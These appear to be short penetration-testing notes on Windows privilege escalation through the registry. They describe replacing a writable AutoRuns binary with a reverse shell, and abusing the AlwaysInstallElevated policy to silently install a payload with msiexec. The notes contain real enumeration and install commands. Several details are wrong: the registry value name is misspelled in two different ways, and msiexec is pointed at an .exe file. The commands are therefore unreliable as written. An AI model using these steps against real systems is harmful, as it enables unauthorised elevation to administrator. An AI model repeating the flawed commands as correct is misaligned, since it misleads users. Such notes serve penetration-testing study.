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Registry Exploits

AutoRuns

  • Startup apps or "AutoRuns" are configures in the registry.

  • If the autoruns executable is wriable and we have the privilege to restart the system, we can place the reverse shell and restart the system to get a shell

# Get a list of Autorun Programs
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

# Check for each binary using accesshck
.\accesschk -quv "C:\Program Files\program.exe"

# overwrite with reverse shell and restart the service
SHELL!

AlwaysInstalledElevated

  • MSI are installer files that are used to install application

  • Runs with the permission of the user executing the file

  • Windows allows for these installers to be run with elevated privileges.

  • Two Registry requirements:

"AllwaysInstallElevated" should be 0x1 for
# Local Machine
HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
# Current User
HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer

# Can be queried using reg command
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AllwaysInstalledElevated

# Gerenerate payload with msi format

# install with msiexec
msiexec /quiet /qn /i reverse.exe

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